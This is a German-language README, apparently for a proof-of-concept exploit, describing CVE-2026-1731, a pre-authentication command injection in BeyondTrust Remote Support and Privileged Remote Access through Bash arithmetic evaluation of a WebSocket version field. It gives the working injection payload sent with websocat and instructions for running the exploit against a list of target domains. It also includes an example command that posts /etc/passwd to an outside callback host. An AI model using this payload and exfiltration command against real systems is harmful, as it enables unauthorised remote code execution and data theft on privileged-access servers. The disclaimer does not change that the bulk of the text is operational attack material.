
CVE-2026-1731 – Kritische Schwachstelle durch Befehlsinjektion in BeyondTrust Remote Support und Privileged Remote Access aufgrund unsicherer Bash-Arithmetikauswertung in einem über WebSocket erreichbaren Skript
[!WARNING] Dieses Skript ist ausschließlich für Bildungs- und Forschungszwecke gedacht. Verwenden Sie es nicht gegen Systeme ohne ausdrückliche Genehmigung. Unbefugter Zugriff oder unbefugtes Testen ist illegal und unethisch. Lesen Sie den vollständigen DISCLAIMER, bevor Sie dieses Skript verwenden.
Dieses Skript demonstriert eine kritische Command-Injection-Schwachstelle (CVE-2026-1731), die BeyondTrust Remote Support (RS) und Privileged Remote Access (PRA) betrifft. Das Problem stammt aus demselben über WebSocket erreichbaren Endpunkt, der bereits an der vielbeachteten CVE-2024-12356 beteiligt war, was diese Schwachstelle zu einer eng verwandten Variante macht.
Die Schwachstelle besteht, weil das thin-scc-wrapper-Skript des Servers arithmetische Vergleiche mit angreiferkontrollierter Eingabe durchführt, insbesondere mit dem remoteVersion-Wert, der während des WebSocket-Handshakes gesendet wird. Bash behandelt Operanden in numerischen Vergleichen als Ausdrücke und nicht als einfache Zeichenketten, wodurch manipulierte Payloads wie a[$(cmd)]0 während der Auswertung eine auslösen können.
Obwohl BeyondTrust in diesem Patch-Zyklus eine numerische Plausibilitätsprüfung hinzugefügt hat, verhindert dies nicht, dass Bash später eine Ausdrucksauswertung durchführt, sodass der Endpunkt weiterhin ausnutzbar bleibt. Angreifer können Codeausführung erlangen, indem sie einfach eine WebSocket-Verbindung öffnen und vor der Authentifizierung einen bösartigen Versionswert senden.
echo -ne "hax[\$(ATTACKER-COMMAND)]\naaaaaaaa-aaaa-aaaa-aaaaaaaaaaaa\n0\naaaa\n" | \
./websocat -k wss://AFFECTED-SYSTEM:443/nw \
--protocol "ingredi support desk customer thin" \
-H "X-Ns-Company: COMPANY-NAME" \
--binary -n -
pip3 install requests
wget -O websocat https://github.com/vi/websocat/releases/download/v1.14.1/websocat.x86_64-unknown-linux-musl
chmod +x websocat
(Legen Sie es in denselben Ordner wie Ihr Python-Skript.)
Oder verschieben Sie es systemweit:
sudo mv websocat /usr/local/bin/
domains.txt im selben Verzeichnis erstellenFügen Sie die URLs hinzu, die Sie testen möchten:
example1.com
example2.com
example3.com
Bearbeiten Sie die folgende Zeile im Skript, um den Befehl zu konfigurieren, den der WebSocket-Exploit ausführen soll:
CMD = "YOUR-COMMAND-HERE"
Zum Beispiel:
CMD = "curl -X POST -d @/etc/passwd http://XXXXXXXXX.oast.fun/"
Sobald der Befehl festgelegt ist, führen Sie das Skript aus:
python3 exploit.py
Oder machen Sie es ausführbar und führen Sie es direkt aus:
chmod +x exploit.py
./exploit.py

